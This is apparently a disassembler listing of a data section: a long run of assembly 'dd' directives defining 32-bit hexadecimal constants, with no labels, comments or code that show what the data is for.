		dd 0A8351EE7h, 12244C9h, 43D59978h, 2B505247h, 29317020h
		dd 2503FEB9h, 4602FEA3h, 0D95C203Dh, 26F461E9h,	54F98A01h
		dd 159EAF9Dh, 0D897B0C0h, 9D5B89A4h, 5E0E8053h,	72AE76A5h
		dd 0C55CF974h, 453D266Ch, 1CE27B34h, 0B282E65Ah, 0DF4F3015h
		dd 25FC515Ah, 0C21384D4h, 80EB9B04h, 0B398B75Ch, 0B10B9757h
		dd 0A040B718h, 36358000h, 6EC7F1B8h, 89F4175Dh,	9C2FFB5h
		dd 0D6995C5Bh, 2011946h, 77229A4Dh, 16F32826h, 62AE838Ah
		dd 2B62DE8Ch, 4003F175h, 0A86521BBh, 0FD6A442Fh, 0AD00FC37h
		dd 0F73CC4BEh, 5EE09E1h, 4DFD1EE2h, 71B04BD2h, 4A1D2930h
		dd 0BFCB6CE5h, 0CE72B0B8h, 0DB8B062Ch, 0E0D392EBh, 3E9E5B9Dh
		dd 0A3125083h, 52A89664h, 0A201E8BFh, 310F28C1h, 806AD1B7h
		dd 96FE8A04h, 7057D397h, 0B14A77B3h, 6E5AC9AFh,	0E071FC2h
		dd 5912EF97h, 97607F28h, 8D896998h, 7D9D29BDh, 1F003AC4h
		dd 8F8BE019h, 342B6BEh,	8292E8EFh, 7210721Ah, 61382179h
		dd 0A2FE8ACBh, 2CBBFD0Eh, 0DE0B238Ah, 9C52595h,	0EF4F2C11h
		dd 5DA87625h, 5B7A7880h, 671CA72Bh, 0BF40391Bh,	0AFF3F9ABh
		dd 7E82979Ah, 0C4D5C4F4h, 99D73E8Bh, 0F8F48ED1h, 8F799561h
		dd 176F0054h, 9FE96530h, 19582DD6h, 0A222Dh, 60F39C33h
		dd 0FF689B12h, 0D6CBF827h, 0AF5F6461h, 7AEA8825h, 10A60786h
		dd 0BB503BCEh, 4E580E60h, 952E9841h, 0BA95D0B0h, 120FDEFFh
		dd 8BDDE333h, 8E3AF367h, 0CA29B60Ah, 0B7021ED8h, 0EBF4A124h
		dd 1C5377C5h, 2E30EF8h,	151D1870h, 3DD3C6F5h, 0CBED0h
		dd 0BAC6BC64h, 3E9EDBF0h, 0D6CBFEA0h, 7AAB574Bh, 0BF604BB4h
		dd 0B35BA4Dh, 67E9B2D8h, 0ED27B35Eh, 4962C0E9h,	769F0AB8h
		dd 37DDAFE9h, 0E79E095Ch, 0F3BECE72h, 0EA5B4BF4h, 0F1FBDD74h
		dd 0DFA49DB9h, 0DEB6E6h, 0BAFE1295h, 0F3327CF8h, 816046C4h
		dd 28D9D980h, 20BCB055h, 0F89F11FDh, 66F940C0h,	1A58BB1Bh
		dd 0B103E1DEh, 0EDC08D7Eh, 0DBFD6F13h, 44D79D80h, 0F0092795h
		dd 5D0B582Eh, 7B5F9669h, 951D27A0h, 1651EF7Bh, 0FD283D18h
		dd 0C3B5DC1Fh, 62D9AA0Ah, 209429FEh, 0AD1BBBFFh, 0EB7E4F51h
		dd 0A735D86Eh, 5508138h, 18B96B0Bh, 1200AEECh, 36434EE9h
		dd 275FB7BBh, 0B5F57F99h, 99B02D6Ch, 8C70D0FAh,	0C0301E58h
		dd 0AA065255h, 266F00F7h, 168C9E39h, 95A5756h, 292260EEh
		dd 264B1D9Dh, 5922A08Eh, 1785FB95h, 4D44AAB5h, 0D7BD026Ah
		dd 849139B9h, 88EB14F9h, 400ABB03h, 0E50AB116h,	0BCFC43A8h
		dd 0D81AC19Fh, 844FB93Ah, 0AF162051h, 9D6C848Ch, 6BC46C71h
		dd 6FEA6484h, 314A004Ah, 0F3F8570Fh, 9DBD1609h,	0ACA63428h
		dd 0F931CB62h, 0CF5C2DDBh, 0F40AC660h, 3338003Ah, 583948F1h
		dd 9004A4B7h, 9883402Fh, 422D50F1h, 0FB0BF6B8h,	0D9BD21A1h
		dd 6BD500D9h, 9FD24E76h, 0E6615497h, 74A0C31Dh,	14971AD1h
		dd 7AB96Fh, 3B703CEFh, 5106861Dh, 0A4FDC047h, 8135713Ah
		dd 86352E5Bh, 5EAEC185h, 8411D0D2h, 810030C5h, 0B666E6F7h
		dd 0D3324747h, 44E8B073h, 10972FADh, 42398538h,	5E8B250Ah
		dd 40B74464h, 5EA72DBFh, 0BDE9B530h, 0A67B0DF9h, 4EBA5BC8h
		dd 37B78B33h, 4300B975h, 13A84EECh, 0CCBBB54Ah,	0F776800Ah
		dd 0F06A7A95h, 68244349h, 5A25A2B4h, 0E3801665h, 22D8BCFAh
		dd 9D331265h, 857DD06Dh, 55134C50h, 41AEFC47h, 29BBDA1Ah
		dd 0B832D979h, 59BD7E14h, 2BDC4D47h, 6439BA02h,	7F092E9h
		dd 7309B9BBh, 95CBA022h, 9B7E228Bh, 0D5B50960h,	4F799512h
		dd 61E38049h, 0B83CDD57h, 5654826Bh, 8396C129h,	0A04577B0h
		dd 2632D90h, 219E946Bh,	31FF800Fh, 60011A61h, 0E0E23F89h
		dd 0E1B5257Dh, 57A5295Eh, 1A817FB7h, 0B7058590h, 0EF782F31h
		dd 0EF5E915Ch, 0D0492A6Ah, 5C4CA5C0h, 0B910F533h, 8A120FB4h
		dd 0BF5BE0DCh, 0B0C6700Eh, 9BEFD61Bh, 3D28136h,	8381CBDh
		dd 8971DE5Eh, 10922E9Ah, 40058E84h, 3314EABBh, 247C9F37h
		dd 0A7BAF544h, 0DEB6E437h, 4EC7613h, 0AB3071AAh, 3B4170D9h
		dd 123D0E2Dh, 0A250ED5h, 4D6BB559h, 501246EEh, 5C322127h
		dd 29175E26h, 72B975B5h, 0AD00EDECh, 120319D0h,	1232EF2Ch
		dd 64880FF9h, 0E0B1AF7Fh, 6635692Bh, 0C246F270h, 0A20B555Bh
		dd 2F6E3D4h, 70A254C8h,	185C88A1h, 0A8B5EBh, 0BB65A8E0h
		dd 184B6230h, 0BA9B1B85h, 83CE7C0h, 9E4B8AE3h, 2F22358Ah
		dd 0C5DE8B25h, 0EB3B1F10h, 3334D889h, 5CD2CD09h, 95E6D8D9h
		dd 0D4742E94h, 4067EFBFh, 0E8EA3096h, 5C980713h, 1C958B04h
		dd 0F382600Bh, 0CCF532C1h, 0BB580081h, 1D6B6AAAh, 0C858D036h
		dd 59070E99h, 7D2B4291h, 25675C9Bh, 1670695Bh, 8D3109D9h
		dd 84711D25h, 15D39339h, 0A77A96F1h, 0F9601256h, 0B797C3ADh
		dd 0CFF32CB5h, 95336E25h, 0AF50E073h, 0F8BE3879h, 0A454CA05h
		dd 0B08DBE5Fh, 536B7D31h, 0DF1E0DAh, 8A50F70Fh,	0B6AA12DEh
		dd 0E2BBF517h, 30C6058Fh, 31854C3Ah, 8E692CAAh,	0C79C164Fh
		dd 0A10709E7h, 0F9570675h, 98798014h, 50A8E50Eh, 605BB358h
		dd 45BF667Fh, 0AE47F103h, 6337B877h, 9BA749A0h,	5861510Bh
		dd 0E7BE4045h, 0DE9500E3h, 0D7F9076Fh, 0A69B1340h, 9D720443h
		dd 0FBACD451h, 7AF01BB7h, 0E702201Fh, 99D012Bh,	0CEE5527h
		dd 0C8BD3127h, 92C7E9F9h, 0E2514B16h, 8D9600DCh, 0BC6FCD7Eh
		dd 0FB0100A3h, 80F42AAAh, 5B5A93EBh, 0E7FF16EAh, 8B35B1E6h
		dd 0A85D342Eh, 54A85A51h, 0F825BFF4h, 16B5E2FBh, 14D1E5h
		dd 7C2B58CAh, 3B772451h, 0BF5A7DA8h, 1C24C06Bh,	5E05C034h
		dd 0CF04CB09h, 0A9A5A197h, 0DFBB01BBh, 3A468991h, 0BA4F476Fh
		dd 0F2AA6C64h, 77EE0022h, 924BCD82h, 0FBC84A73h, 2D9D1B30h
		dd 0F970A00Ch, 407DBE96h, 0B0DB5248h, 76A8AB2Dh, 0F50026Fh
		dd 6354048Ah, 965BDA41h, 0B0091B34h, 0AA334AF8h, 0C1DDCC2Ah
		dd 0FCB51C76h, 99CA4188h, 0FD68001Ah, 5FE1257Dh, 158E0090h
		dd 6312D800h, 1993C66h,	4C270411h, 0B80FBEA6h, 7E020261h
		dd 0F8605FFEh, 0E4FDABCh, 8D8A6E43h, 24FEB65Eh,	60D2E8ADh
		dd 0F08240A8h, 0D274F302h, 0D036571Dh, 0E4FE4E10h, 0D95ABF8Ah
		dd 0F87FEEh, 1FA1D196h,	5A6711C1h, 0D120FFD5h, 0BE78161h
		dd 56F10F13h, 0DA8C9CD5h, 5D56157Eh, 60AC4DF2h,	85C50105h
		dd 8AE43802h, 0C0AB1049h, 8007913Dh, 2AE141E9h,	6EA036E7h
		dd 4FFE92A2h, 7C97802h,	75D98BA3h, 0AD5D5053h, 2500C26Ch
		dd 0BFE51BF3h, 29F35E7h, 0BD2BF80Dh, 625C148Dh,	62A79371h
		dd 0BDDE3CFEh, 0A15765EAh, 2B3DBD64h, 5ECD1623h, 6CC0215Dh
		dd 0F0BD4AB0h, 9C2FBFECh, 95D3B0DFh, 644A8BE1h,	16C85ADAh
		dd 1AEC7DC0h, 0B2B3958Bh, 0C01DE63Bh, 56DB0981h, 32D73CBCh
		dd 5E4A5D53h, 0D49F9EF0h, 89774BACh, 5004FEAFh,	5E09DF81h
		dd 563A147Ch, 0BEB5EBD0h, 0D4980F00h, 97BD0160h, 7D78B12Bh
		dd 4E666152h, 81135CF0h
		dd 50B66AF9h, 7D9217Dh,	59CF6046h, 65C0980Bh, 0B23BAF3Ah
		dd 55AD614h, 0EE51093h,	2ADC5F25h, 11946DCh, 0A3FBE81Eh
		dd 913FB676h, 2E04C282h, 8E8C169Bh, 96BC1FCh, 632755E3h
		dd 35008B9h, 313925BDh,	65AC695Bh, 8D809A64h, 0BBC66Fh
		dd 37725348h, 0D7819D11h, 0B80BD8E6h, 0B16A5F15h, 0B22A18D3h
		dd 4E0995C4h, 2EED26EDh, 10B6AB3h, 652B09B5h, 272BB5FFh
		dd 0CD00094Ch, 0E80A0298h, 25D2AD27h, 4B90AC7Ch, 6900DC38h
		dd 0B9FD9F96h, 156E3F4h, 0DA19897Ah, 0CE8B6E6Dh, 29E90A40h
		dd 0E79BB80h, 960CE283h, 0B3686CC7h, 0E0BD5072h, 5397B50Dh
		dd 2B45F130h, 2FA25904h, 29C3BEACh, 0ABB4398Dh,	47223D8Eh
		dd 493856B5h, 80DE6ADDh, 9661CE3Bh, 0E8929750h,	4C447Dh
		dd 7DDD051h, 0DBB4C2F7h, 0C5E24200h, 0F3B3A438h, 6565AD96h
		dd 668760EFh, 0EE4A2EBFh, 0D3F57CCCh, 79EAE23h,	0FA8BE81h
		dd 0BF7B4082h, 0F6259C58h, 0AC795B10h, 103D6D6h, 9992A929h
		dd 1195A88Fh, 9B9C9526h, 64A3175Fh, 0AA262517h,	0C2BBD760h
		dd 0A3C6603Eh, 4595E1DFh, 64AE6FB5h, 577D6214h,	0A1855B30h
		dd 0D38000E1h, 79E91239h, 934AEF4h, 0D501896Fh,	41F1CA37h
		dd 39342B22h, 0FC4389AAh, 5201DE4Eh, 0BAB2681h,	8352F19Dh
		dd 0BB1F95Fh, 0AEE276B7h, 3DD77955h, 0C273E7AFh, 5E637078h
		dd 424D867Ch, 0D8340897h, 736F4FBCh, 0B4E20B03h, 0CFF8413Bh
		dd 0D5008060h, 0F9C981AAh, 941890CAh, 125704B1h, 0F00FF6B1h
		dd 6E7519h, 712E7BA3h, 8D89F833h, 0B5A7F29Dh, 5E971B82h
		dd 526E15Fh, 0B86E6Ah, 0B554412Bh, 631EA4h, 8A609012h
		dd 469B9C2h, 5A7B9C2Dh,	0D34D3FBFh, 0F061E6DFh,	33D378h
		dd 0BF7B5622h, 2A074B27h, 0DE35D4B5h, 0E57FF695h, 9390E801h
		dd 8176630h, 3C110074h,	8C41B332h, 70E96323h, 0D2BDD55Dh
		dd 0B7D795BBh, 0E65C8465h, 84E4FE15h, 9F9995F5h, 7E1D3FF8h
		dd 9B947FE5h, 0E335B5h,	7327DE5Dh, 2C16F14Fh, 30123654h
		dd 745C3045h, 8057DEAAh, 0D32E0DB1h, 12D6E8E9h,	0A179FE43h
		dd 88B32A17h, 0FB55C5D3h, 48C005DBh, 317FCE0Ch,	26292A3Bh
		dd 0E90988F9h, 8B6C5637h, 675C90FEh, 0C3AB5764h, 0ADE55046h
		dd 6223B8C4h, 25FB6694h, 49809555h, 0FC00E876h,	3848BAEEh
		dd 0DE38EFD1h, 0E9251920h, 0C47C59A2h, 2E0CD661h, 0DE1D152Dh
		dd 0B401F43Fh, 0E89E3D6Fh, 5FC5FD7Bh, 20EB78EEh, 0F9251289h
		dd 0EC3A5561h, 17053555h, 0C08EBC19h, 97BF95CCh, 81B007D1h
		dd 0A0169214h, 5F1D4AB1h, 0A709DF95h, 0C670E0F3h, 0D149272Dh
		dd 6A3454C1h, 0C44AE3CAh, 9E07ADB8h, 6EF87E6Dh,	0AB1AB1C5h
		dd 0E851DF72h, 9029D8A3h, 202EFDFAh, 1DC5C922h,	3F752000h
		dd 0F2B6AE79h, 41A5A12Bh, 95503FADh, 0B00E0925h, 2E33E16h
		dd 5412BB20h, 9B416FCCh, 354AC305h, 0BD2920D8h,	75E78D90h
		dd 0E1B06F2Fh, 707E19CAh, 16DFBACFh, 0F222B700h, 213702FFh
		dd 268A01FBh, 9460A5AEh, 6BA2E9BDh, 1C2148A9h, 2AE510BFh
		dd 0C052BB02h, 475C227Ah, 0C482E690h, 9C4093D8h, 94A19B5h
		dd 0BA8B0ABCh, 0CABD9C46h, 1B517D41h, 0A5BF3B24h, 762EC261h
		dd 59494075h, 212D3973h, 0A04374A5h, 8BDD54E7h,	81F54B5Fh
		dd 437CB3Fh, 0D7D9A730h, 0ED7100A0h, 0FC6C25C4h, 8D4FE95Bh
		dd 0F2AAE024h, 4E491C5Bh, 51534400h, 122EE380h,	0E0F95F5Bh
		dd 0FCF86055h, 55BF5901h, 6138A8FBh, 0B57DD32Ah, 0B0FD058Ah
		dd 1871B6h, 5E1FB864h, 109AEBA3h, 0C137569Fh, 0F2999589h
		dd 92FE97Bh, 0FAB155A7h, 0C71A7C8Ch, 0D7E924C7h, 3310BF14h
		dd 0EE4C9BDh, 6810EDEAh, 18317676h, 0CA6A238Dh,	934A0977h
		dd 67375DB0h, 8CEA0E97h, 0BD72BBE2h, 0D3804CC2h, 96B355F3h
		dd 0D28959FDh, 89BC3BFCh, 31558DC2h, 89BEB20Fh,	0A8E97DCFh
		dd 51C8C18h, 6580F57Eh,	2BFAB70Fh, 0AAB795D2h, 8E0FEB02h
		dd 0D5DFB203h, 7BE9694Fh, 0F45F0379h, 0BFF06C39h, 1D766654h
		dd 4D40309Ch, 0FE183Bh,	0ABBCB760h, 0DC6B4BC4h,	94BD258h
		dd 72D79705h, 16F3BD34h, 0E0F8DF7Ah, 58052D25h,	0F1F72718h
		dd 8EFC5DBAh, 0B97697D4h, 0BD1D91A6h, 0DCBF0D52h, 25259D82h
		dd 0E959C528h, 27113202h, 6468FB57h, 0EA2194F5h, 7C1CD9Eh
		dd 0C6298589h, 0B6B6ED5h, 0E1FF3EB3h, 8973CD5Bh, 0BC30D6ADh
		dd 0B80A4A09h, 5D7E755h, 7808D309h, 0E2093313h,	71F9680Ch
		dd 3FF6440Dh, 0E0171423h, 214189FEh, 0BDBC6EDAh, 12C5F825h
		dd 26D8A1Ah, 2E2DF3h, 0D664BF66h, 74916071h, 75D7439Eh
		dd 832198AEh, 0B3CFA700h, 13F3CCCh, 5E120B5h, 0DD546162h
		dd 0D98C2028h, 899592B7h, 0DC1476DBh, 470172E6h, 9C2721ABh
		dd 0F8215EA7h, 1C4CF96Ah, 5C2F0117h, 0BE00DEF1h, 0CDC6D70h
		dd 0B5EC6922h, 5793F1F1h, 0E4D8A302h, 0E7F9775Fh, 4074FEC9h
		dd 2F81ED1Ch, 84FB2B1Ch, 25F1E600h, 2449A37h, 0E346642Eh
		dd 90DD90A8h, 4D5807Fh,	8BAB84B4h, 15B1BBDEh, 90032BC3h
		dd 5ADD5A69h, 0DBCF018Ah, 419D231Fh, 3FBD6B0Bh,	0EBA2CD13h
		dd 100C27Ah, 7D6885DAh,	60F3EB90h, 0FF8A181Eh, 626A6310h
		dd 8FAF0E00h, 0E71EC012h, 86EC0089h, 10B81F42h,	5F4AD98Bh
		dd 93827780h, 20554FF4h, 0E0E2FF38h, 191C3A01h,	5BFA8B77h
		dd 0C7DB9C6Ah, 0B37FD23h, 4491800Fh, 0F820F750h, 2042B022h
		dd 3E980237h, 852DCF98h, 0F65FDE15h, 55BBC00h, 52DCEB8Dh
		dd 0BE478A7h, 3295B529h, 0FCE4DB54h, 296E3BFh, 0CF8DFDDBh
		dd 4C4DF532h, 14981565h, 298D39A5h, 89794533h, 0C0399B95h
		dd 4972E558h, 0B0844FA8h, 0AD25BD75h, 0ADFB732Dh, 0A27F418Bh
		dd 0FC04467Bh, 6F00DCC3h, 0A81B18CEh, 79E42156h, 95E8A02Dh
		dd 0B87CB713h, 0AA177A7h, 4021DBDh, 524182BEh, 0B06A03FDh
		dd 8CEACDD0h, 2101825Dh, 413ACF58h, 0FA00AA55h,	4D95965Fh
		dd 0C0A9C0AEh, 0C2006C0Fh, 9B60ECBh, 970551BDh,	1B911F37h
		dd 0FD6E2780h, 861258B2h, 22C8D226h, 87DE003Dh,	4E7A5DACh
		dd 9300718Eh, 3402EA42h, 0B0B5C8h, 681B1AE5h, 76448786h
		dd 7952502Fh, 8E840037h, 1BB9CA0Fh, 19014DE2h, 46DE1A66h
		dd 31F55F35h, 81E8A86Eh, 0E30A9FADh, 0B7DDDC3Eh, 715BD02Dh
		dd 84790FCFh, 50B77609h, 3250C981h, 3530B57Fh, 0B5D4909Ah
		dd 8D4EED7Ah, 4DBD3FAAh, 5752C585h, 45C2DCAFh, 0D05F02EFh
		dd 0B45A4A85h, 0D6B552D7h, 0E36DE994h, 7C854140h, 19690009h
		dd 0BF08B1FAh, 6D12876Bh, 6EBA612Bh, 18A9054Bh,	0A884AD2Ch
		dd 5B09A3B4h, 6EAAA58Dh, 7DE978FDh, 84CC8165h, 0C1F13C83h
		dd 0BF056E92h, 6E2520CEh, 666080CFh, 34426Dh, 519F9A88h
		dd 0E9DF8BDEh, 6FE15E70h, 0D4F0C9B6h, 0AF0669F7h, 6BC61FB0h
		dd 13392CC2h, 62D34013h, 854F0F91h, 33347E53h, 910B2FAh
		dd 0D75B5349h, 557ACE1Dh, 81004DD9h, 96D5AACBh,	0A914973Bh
		dd 26A8F755h, 6661F0D1h, 92110012h, 9B70DC91h, 0D91F5B6h
		dd 0BD66C466h, 75E091EDh, 2526395Eh, 0B07D9053h, 0B527A127h
		dd 73ADB165h, 8E2D5079h, 6EBF5600h, 0BF95385h, 8B6027A1h
		dd 8008A1DDh, 652E65F3h, 0E0F08D4Ah, 1D4E056Bh,	3E3461EBh
		dd 0CDA22BCDh, 8439A95Eh, 0E7CC96B6h, 1B475C7Dh, 0BB256DE0h
		dd 0A661A10Bh, 270FD479h, 0FB5F9BD5h, 6085EDA5h, 9EB8B7FDh
		dd 0C083A800h, 0F8307459h, 5B2BF632h, 2C12ABBDh, 0E7F09EFh
		dd 80A41455h, 18677Fh
		dd 24D2258Ah, 0D4B3D712h, 0F1A57907h, 23A1692Ah, 352F5CFBh
		dd 0B54A8116h, 7BAD2A07h, 80D46DB9h, 5EC4D0E2h,	31D80BBAh
		dd 8900BB2Dh, 0CF81097Eh, 54C19909h, 971A7827h,	50C0445Eh
		dd 16A63B03h, 0AE5FF8E3h, 8DDF6E60h, 3CD2791h, 0D22C3E5Bh
		dd 70C3A909h, 5A317EEBh, 0D74FB88Dh, 9D0D60BBh,	739D193Dh
		dd 181A7944h, 0BE9207ACh, 747BA643h, 0C4F2B8F8h, 0A0EF9529h
		dd 7BB76A2Ah, 0CA5D7AF8h, 0FF8BCA0Dh, 14D778C2h, 0ECAC8190h
		dd 9F5415ECh, 1C5977F3h, 0B06B48h, 53F4E938h, 4C933B7Eh
		dd 20FA964Eh, 0DE72BFC1h, 5013891Fh, 8AE80953h,	386EFE4Eh
		dd 23E1729h, 6FBDFCB8h,	5749A35Ch, 5B9DA2FAh, 19195928h
		dd 91C2907Eh, 8B4BB3FEh, 5D38E48Ah, 5B517B4Eh, 0F21D79F8h
		dd 80AD80D4h, 0B79601D7h, 1307EE5h, 0B3225AAh, 7EA415E2h
		dd 1EE12FFh, 0D8A6CEE1h, 2DFA6F2Eh, 2B3F7770h, 7BB7B580h
		dd 9725A982h, 82FF179Ah, 752EADE6h, 41286AE5h, 35BE8212h
		dd 5BBB5602h, 6B005E0Dh, 126DC675h, 0E305A59Dh,	0BF4E8BE5h
		dd 0F864175Dh, 0B2020182h, 0BFCA3677h, 3CC195D1h, 14ED788Bh
		dd 0F9E95C56h, 0DCA4006Ah, 0EF5BFE15h, 0C6A06B1Ah, 3239FF16h
		dd 1C2D2FDEh, 80598C6Ah, 3862CB32h, 7118290Dh, 590B774Bh
		dd 8252F8E1h, 556DE963h, 17ED638Bh, 60A2D7C2h, 82290D0Ch
		dd 0DBC609FDh, 7CD5705Ch, 6AFF794Eh, 0DBD84AD6h, 58AC02F4h
		dd 0CD0A29F0h, 25091B40h, 50F5F82h, 7FBF0291h, 502A1BB3h
		dd 0D8E49FF2h, 8F287395h, 23CD8B3Fh, 13C87B90h,	0F94307C7h
		dd 0F018899Bh, 958815BEh, 0D7BD80C1h, 0E60D964h, 0DDE605E9h
		dd 0FB6A5B01h, 2AC21E9Bh, 1057FD3Ch, 9E88CAh, 22C15E4Dh
		dd 0A6B6FA8Ch, 1897F017h, 0A2DA4D0Ah, 0B121D802h, 0A7F8D106h
		dd 103575C1h, 0C5305C0h, 20599589h, 90535B14h, 21FB5A83h
		dd 7FE1D422h, 7C50DEA4h, 358D2490h, 808BA3C6h, 630E6EA6h
		dd 0B2001A42h, 0BD0B357Fh, 12F8C154h, 0C2383B2Dh, 51DF3355h
		dd 2614F942h, 54DB2FB7h, 30FF252Eh, 8026AD64h, 29219D01h
		dd 0C6244D11h, 0D12A25DFh, 0D2C095DBh, 37DB2776h, 9B16D3E0h
		dd 0FF04E1CBh, 0BD4433CDh, 0CFA3AA9Dh, 634D638Dh, 20BF4E9Ch
		dd 0FCFF4C71h, 5BF03A00h, 51B2CCA9h, 0E092DDBh,	0DE146A5Ch
		dd 4C1022D4h, 0E11CEA98h, 0E3E540ABh, 991E9A51h, 40D8C300h
		dd 0F98B5052h, 0DC03BE90h, 0A8C02C02h, 553DC445h, 11B17DB9h
		dd 382E40E9h, 2141E281h, 0E4B87839h, 8EC7D10Eh,	92D2E5A8h
		dd 7AC1DD0Bh, 0D8D3063h, 5BF95781h, 27FE2950h, 0A5675B95h
		dd 9A004D59h, 7B7D4BE6h, 0B8E02D70h, 0D102B158h, 5F52B52Bh
		dd 14807490h, 0FA3C9A21h, 9267DB4Fh, 0F1D379B8h, 7C8A2A60h
		dd 0AA124117h, 0C326CC39h, 50656EB1h, 459B073h,	7F148C00h
		dd 0EF949A27h, 96CB134Ah, 98A219h, 9B2993C6h, 48BBFD9h
		dd 2831ED8Ch, 0DD9B824Ah, 0D5DE6AF7h, 0D36A486Dh, 0A48853EFh
		dd 2E51E28h, 0E538015h,	0DB2DDF81h, 0C203C125h,	0E40D4AD3h
		dd 28B12731h, 5F4E7FEh,	0AAEEEC51h, 8A4907E8h, 0B23F7072h
		dd 583A3492h, 4C020068h, 8EFBE533h, 5A88F454h, 0F7CF05Eh
		dd 15BBE02h, 751115B5h,	1312E4C5h, 2B7F98EAh, 0E60B109Dh
		dd 0F3810270h, 20161568h, 237AF85Fh, 0F01A1999h, 0D9A8829Dh
		dd 0D7C67521h, 5F9F899Dh, 7CB464E6h, 8A160B10h,	0B3B804DDh
		dd 82D6B8EFh, 28C505C3h, 0C9AD02B2h, 0F877250Fh, 0C3596149h
		dd 2ED18BF5h, 158612B9h, 0A369E130h, 7D580B17h,	0AF959A16h
		dd 334CEE86h, 2C8D07A0h, 413031B5h, 0E7296007h,	0BC0C1392h
		dd 0B4D3D2C9h, 86280FD1h, 844B290Bh, 25DFA68Ch,	0CDC9E045h
		dd 0BD031028h, 33559749h, 11482212h, 9E85611h, 7294FF00h
		dd 0C2063A82h, 5F17ED09h, 6244D55Bh, 56E79A95h,	517452DCh
		dd 8D96525h, 80483399h,	0F9168948h, 7D2031Ch, 584DCE2h
		dd 0CCE19A2h, 0B24F315h, 5F2D9D0Bh, 70037E11h, 0CE95325Eh
		dd 6F8F9706h, 0E380230Eh, 61CAF362h, 0BC3B92Dh,	0E889555Eh
		dd 0CF7F9429h, 0C1A456Dh, 0FC4B69D9h, 58ECBB00h, 0C02B0183h
		dd 5D5CA2E8h, 5217D951h, 1E74EEC8h, 0C0057ADAh,	1F8CDD9Fh
		dd 0ED021702h, 65D3AA5Ah, 54C6895Bh, 25204AFAh,	84DF92CAh
		dd 0D7B8EE62h, 2D82BAF5h, 4A60D30h, 0DB71AAC8h,	14E269BDh
		dd 206166C4h, 72D866B9h, 0FE9F6E40h, 68265DBEh,	85827FE0h
		dd 0B349083Fh, 0ED089F86h, 1057AC25h, 0CEBB0207h, 5C2240FCh
		dd 6F595192h, 3AC0AEDEh, 71EDCC92h, 0A3F300Bh, 559B0283h
		dd 96EF526h, 354B91B0h,	49FF9E9Ch, 0C2BD26E1h, 451945Ch
		dd 0C6CC5FC6h, 0CD4CE40Eh, 1DE18065h, 1CD2C6A4h, 12DDCB47h
		dd 0EB961279h, 81BA28h,	0FE3BFBA0h, 0C4F4FC21h,	259B1497h
		dd 5603EAh, 7C7B00F4h, 53277EA7h, 0B574FD83h, 637E1097h
		dd 5F35001Bh, 19C4E16Dh, 7E00474Fh, 8A3715C7h, 974C015Ah
		dd 6B69AE14h, 0DF1A0285h, 0DC65F660h, 0BFCD4E09h, 976D41Fh
		dd 0A670AEA1h, 95201D90h, 62604D14h, 48BA097Dh,	0B370610Eh
		dd 4DC7296h, 37556C58h,	853FC04Ah, 0BB1266BCh, 0B4E4B45Ch
		dd 51014940h, 0F70076ECh, 35B2C86Bh, 98BC4460h,	80D25A8h
		dd 2511AB22h, 0E5284DD5h, 179F671Dh, 0E5F0C014h, 7117325Ah
		dd 6BAB21EFh, 2775574Fh, 410B5253h, 0ECCD3BFEh,	6FAEB52Eh
		dd 0CB7694D9h, 0C5B238A0h, 4CDCC83Eh, 21791423h, 8A084F59h
		dd 31680005h, 0BF4F1DA3h, 25C3C148h, 0CECE4067h, 0B5027CA0h
		dd 5407EB37h, 34F0C1E8h, 3A8AF41Ah, 0A292BBF9h,	4B94A611h
		dd 845124AEh, 0E10EF7D3h, 0BA2B8F83h, 0EB81E900h, 0EE2524Dh
		dd 178E920h, 8465EE13h,	0CF0870AAh, 997F422h, 3CBD57B7h
		dd 75DD4E9Fh, 9FF36940h, 97D88BF8h, 2131DB19h, 7F303521h
		dd 16C892DAh, 2B4843C1h, 7763BDC5h, 668BD55Eh, 0A525FA81h
		dd 97B6CC13h, 0D9075735h, 0AAC06ABDh, 0F07B447Dh, 9EBB3FDFh
		dd 42114312h, 3489F95Ch, 0DC7D7457h, 6BF278B5h,	15D548DFh
		dd 64554943h, 2DC6B002h, 188B1BF1h, 10B5A702h, 0E8685B00h
		dd 0B1D1359Bh, 940FABC3h, 4E4D8517h, 0B1FA8385h, 48A6A7Eh
		dd 501FFFA0h, 4F40D89Eh, 81270Ch, 9791EFA1h, 0CF306183h
		dd 0F7F5A25Bh, 491CC3F8h, 0E9899EC2h, 9656EFF7h, 3320C861h
		dd 42AB9207h, 0DE24B512h, 0BCBAE2FFh, 121DF69Fh, 0A2034EA9h
		dd 2D329DEAh, 4E1264E9h, 8E3AFEFCh, 804621E7h, 5CDB2A69h
		dd 0A6FA1C80h, 8B14564Ch, 9E45FF8h, 598D24EBh, 49942B0h
		dd 0A6A1FD09h, 4B6114B3h, 0CDC44FA7h, 0C4FA9BFFh, 0ACBB579Ch
		dd 0D0174A3Dh, 2BA9CEE2h, 0B57A3A88h, 177F6644h, 2CED6900h
		dd 9401D2B0h, 0CEE301ECh, 92D4CC4h, 0DF70CE8Dh,	0C5C9049Dh
		dd 0A51FF7BAh, 413E89ABh, 7A0D81F2h, 0FEC867FDh, 71AFB3C8h
		dd 73A38096h, 36B68AEBh, 0C8D8BB04h, 65D4F179h,	0F3D2C3DBh
		dd 12754C83h, 6FAB11CDh, 1C1D231Fh, 980D80BCh, 0AD49F142h
		dd 108D342Dh, 8C52F9h, 0DD17F20Ah, 0C866A7F4h, 77CD2727h
		dd 32D50F0Bh, 0D5318B0Bh, 14148D3Dh, 584D8979h,	44BD9D9Dh
		dd 75AD7289h, 82253646h, 1BAEE13h, 4FBA7F71h, 4188535Eh
		dd 2939FBh, 7672BF5Fh, 347B4B4Ah, 74E287ECh, 94FCF808h
		dd 0CC844A88h, 0C09A9E30h, 59800D6h, 7F8B706Ch,	4F0455D4h
		dd 0DE9676C3h, 0A01AF7FFh, 34D21EC5h, 0EEB01F8Fh, 6BAA1A57h
		dd 3416262Dh, 0D67957C0h
		dd 0AE460BBBh, 7CC235DCh, 5D007271h, 18A8CD2h, 984E091Ch
		dd 3A555BCDh, 4ECD7762h, 0EB37FCC0h, 0B8E516DEh, 0F89D52B6h
		dd 2F6ED258h, 74001823h, 2F7B02DBh, 0CE8B2660h,	4975121Dh
		dd 0CDDD61F0h, 0E0D24A6Eh, 8749BB4Dh, 0E19D1175h, 202E1D49h
		dd 504801DDh, 43BB326h,	5D037AFh, 0EC2847A9h, 5F333047h
		dd 0AC0591BFh, 95290B90h, 96552689h, 6B0AAD4Fh,	7F63097Fh
		dd 0FCA0F2B4h, 50812445h, 0FA20482Ch, 1733BF05h, 0A5BE2BA1h
		dd 2DB08862h, 0EB742721h, 25D900FCh, 0DB08A46Fh, 4CBC7E76h
